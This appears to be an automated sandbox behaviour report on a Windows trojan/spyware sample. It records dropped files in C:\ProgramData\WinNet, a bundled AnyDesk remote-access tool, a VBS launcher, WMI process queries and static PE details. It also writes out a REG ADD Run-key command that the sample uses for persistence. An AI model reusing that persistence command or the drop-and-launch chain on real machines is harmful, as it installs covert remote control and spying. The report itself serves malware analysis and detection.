Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: userenv.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: windowscodecs.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: thumbcache.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: policymanager.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: msvcp110_win.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wtsapi32.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: dpapi.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: dhcpcsvc6.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: dhcpcsvc.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: version.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: userenv.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: version.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wldp.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: profapi.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: dwrite.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: textshaping.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: textinputframework.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: coreuicomponents.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: coremessaging.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: coremessaging.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: secur32.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wbemcomn.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: amsi.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: userenv.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: windowscodecs.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: dpapi.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: rstrtmgr.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ncrypt.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ntasn1.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: version.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wldp.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: profapi.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: dwrite.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: textshaping.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: textinputframework.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: coreuicomponents.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: coremessaging.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: secur32.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wbemcomn.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: amsi.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: userenv.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: dpapi.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: rstrtmgr.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ncrypt.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ntasn1.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe

Process created: C:\Windows\System32\reg.exe REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe

Source: classification engine

Classification label: mal76.troj.spyw.evad.winEXE@39/13@3/4

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C229A0 FormatMessageA,GetLastError,

19_2_69C229A0

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C5FFEC LaunchGoogleChrome,CoInitializeEx,CoInitializeSecurity,GetCurrentProcessId,GetShellWindow,GetWindowThreadProcessId,LocalFree,OpenProcess,OpenProcessToken,DuplicateTokenEx,ImpersonateLoggedOnUser,CloseHandle,CloseHandle,CloseHandle,LocalFree,LocalFree,CoCreateInstance,RevertToSelf,CoUninitialize,

19_2_69C5FFEC

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C62CE9 LoadResource,LockResource,SizeofResource,

19_2_69C62CE9

Source: C:\ProgramData\WinNet\gg.exe

File created: C:\Users\user\AppData\Local\SystemCache

Jump to behavior

Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcstobjmtx
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_8108_8140_6
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_8108_8140_5
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_7872_1400131543_0_mtx
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_8108_8140_4
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_8116_1425482725_1_mtx
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_8108_8140_3
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_8116_8164_0
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_trace_mtx
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_8108_8140_12
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_8108_8140_11
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
Source: C:\ProgramData\WinNet\gg.exe	Mutant created: NULL
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_808_lsystem_mtx
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Session\1\ad_connect_queue_8108_1424163146_mtx
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_8116_8156_0
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_8108_8140_19
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_7872_1400131543_1_mtx
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_8108_8140_18
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_8116_1425482725_0_mtx
Source: C:\ProgramData\WinNet\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_8108_8140_13

Source: C:\ProgramData\WinNet\AnyDesk.exe

File created: C:\Users\user\AppData\Local\Temp\gcapi.dll

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe

Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\p.vbs

Source: SysrI6zSkJ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\WinNet\AnyDesk.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessorId FROM Win32_Processor
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\WinNet\gg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SysrI6zSkJ.exe

ReversingLabs: Detection: 39%

Source: AnyDesk.exe

String found in binary or memory: Removed multi-install failure key; switching to channel:

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe

File read: C:\Users\user\Desktop\SysrI6zSkJ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SysrI6zSkJ.exe C:\Users\user\Desktop\SysrI6zSkJ.exe
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\embedded.exe
Source: C:\Windows\System32\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\p.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\WinNet\embedded.exe C:\ProgramData\WinNet\embedded.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs"
Source: C:\ProgramData\WinNet\embedded.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe
Source: C:\ProgramData\WinNet\embedded.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\AnyDesk.exe
Source: C:\Windows\System32\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\WinNet\embedded.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\p.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\ProgramData\WinNet\gg.exe "C:\ProgramData\WinNet\gg.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\WinNet\AnyDesk.exe C:\ProgramData\WinNet\AnyDesk.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\ProgramData\WinNet\gg.exe "C:\ProgramData\WinNet\gg.exe"
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process created: C:\ProgramData\WinNet\AnyDesk.exe "C:\ProgramData\WinNet\AnyDesk.exe" --local-service
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process created: C:\ProgramData\WinNet\AnyDesk.exe "C:\ProgramData\WinNet\AnyDesk.exe" --local-control
Source: unknown	Process created: C:\ProgramData\WinNet\gg.exe "C:\ProgramData\WinNet\gg.exe"
Source: unknown	Process created: C:\ProgramData\WinNet\gg.exe "C:\ProgramData\WinNet\gg.exe"
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe	Jump to behavior
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\embedded.exe	Jump to behavior
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\p.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\WinNet\embedded.exe C:\ProgramData\WinNet\embedded.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs"	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\AnyDesk.exe	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\WinNet\p.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\ProgramData\WinNet\gg.exe "C:\ProgramData\WinNet\gg.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\WinNet\AnyDesk.exe C:\ProgramData\WinNet\AnyDesk.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs"
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process created: C:\ProgramData\WinNet\AnyDesk.exe "C:\ProgramData\WinNet\AnyDesk.exe" --local-service	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Process created: C:\ProgramData\WinNet\AnyDesk.exe "C:\ProgramData\WinNet\AnyDesk.exe" --local-control	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\ProgramData\WinNet\gg.exe "C:\ProgramData\WinNet\gg.exe"

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\ProgramData\WinNet\AnyDesk.exe

Window found: window name: SysTabControl32

Jump to behavior

Source: C:\ProgramData\WinNet\gg.exe	Automated click: OK
Source: C:\ProgramData\WinNet\gg.exe	Automated click: OK
Source: C:\ProgramData\WinNet\gg.exe	Automated click: OK
Source: C:\ProgramData\WinNet\gg.exe	Automated click: OK
Source: C:\ProgramData\WinNet\gg.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: SysrI6zSkJ.exe

Static PE information: More than 302 > 100 exports found

Source: SysrI6zSkJ.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SysrI6zSkJ.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SysrI6zSkJ.exe

Static file information: File size 21906944 > 1048576

Source: SysrI6zSkJ.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x29d000
Source: SysrI6zSkJ.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x105200
Source: SysrI6zSkJ.exe	Static PE information: Raw size of snapshot is bigger than: 0x100000 < 0x110e600

Source: SysrI6zSkJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SysrI6zSkJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SysrI6zSkJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SysrI6zSkJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SysrI6zSkJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SysrI6zSkJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SysrI6zSkJ.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SysrI6zSkJ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\b\build\slave\win\build\src\out\Release\gcapi_dll.dll.pdbGCTL source: AnyDesk.exe, 00000013.00000003.1980331395.0000000004F61000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\dwm_dda-64\privacy_feature\privacy_feature.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003B83000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\dwm_dda-64\win_dwm\win_dwm.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\b\s\w\ir\x\w\sdk\out\ReleaseX64\dart_precompiled_runtime_product.exe.pdb source: SysrI6zSkJ.exe, 00000000.00000003.2258580120.000001589FD80000.00000004.00001000.00020000.00000000.sdmp, SysrI6zSkJ.exe, 00000000.00000000.1627710192.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, SysrI6zSkJ.exe, 00000000.00000002.3480634743.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, embedded.exe, 00000007.00000002.3479713989.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp, embedded.exe, 00000007.00000000.1635812849.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\app-32\win_app\win_app.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\dwm_dda-32\win_dwm\win_dwm.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\b\build\slave\win\build\src\out\Release\gcapi_dll.dll.pdb source: AnyDesk.exe, 00000013.00000003.1980331395.0000000004F61000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SAS.pdbR source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\dwm_dda-32\privacy_feature\privacy_feature.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SAS.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\app-32\win_loader\AnyDesk.pdb source: AnyDesk.exe, 00000010.00000000.1646823942.0000000001EE3000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000002.3478942451.0000000001EE3000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\b\s\w\ir\x\w\sdk\out\ReleaseX64\dart_precompiled_runtime_product.exe.pdbd source: SysrI6zSkJ.exe, 00000000.00000003.2258580120.000001589FD80000.00000004.00001000.00020000.00000000.sdmp, SysrI6zSkJ.exe, 00000000.00000000.1627710192.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, SysrI6zSkJ.exe, 00000000.00000002.3480634743.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, embedded.exe, 00000007.00000002.3479713989.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp, embedded.exe, 00000007.00000000.1635812849.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp

Source: SysrI6zSkJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SysrI6zSkJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SysrI6zSkJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SysrI6zSkJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SysrI6zSkJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\ProgramData\WinNet\AnyDesk.exe	Unpacked PE file: 19.2.AnyDesk.exe.ca0000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\ProgramData\WinNet\AnyDesk.exe	Unpacked PE file: 20.2.AnyDesk.exe.ca0000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Yara detected EXE embedded in BAT file

Source: Yara match	File source: SysrI6zSkJ.exe, type: SAMPLE
Source: Yara match	File source: C:\ProgramData\WinNet\embedded.exe, type: DROPPED

Source: gg.exe.0.dr

Static PE information: 0xAEA20DC3 [Sat Nov 4 08:52:19 2062 UTC]

Source: SysrI6zSkJ.exe	Static PE information: section name: _RDATA
Source: SysrI6zSkJ.exe	Static PE information: section name: snapshot
Source: embedded.exe.0.dr	Static PE information: section name: _RDATA
Source: embedded.exe.0.dr	Static PE information: section name: snapshot

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCC0274 push cs; retf 0003h	0_2_000001589FCC0277
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCB627C push esp; ret	0_2_000001589FCB633E
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCB81A8 push ecx; ret	0_2_000001589FCB82F1
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCB8048 push ecx; ret	0_2_000001589FCB81A6
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCB7EDC push ecx; ret	0_2_000001589FCB8045
Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C4101A8 push ecx; ret	7_2_0000022F0C4102F1
Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C418274 push cs; retf 0003h	7_2_0000022F0C418277
Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C40E27C push esp; ret	7_2_0000022F0C40E33E
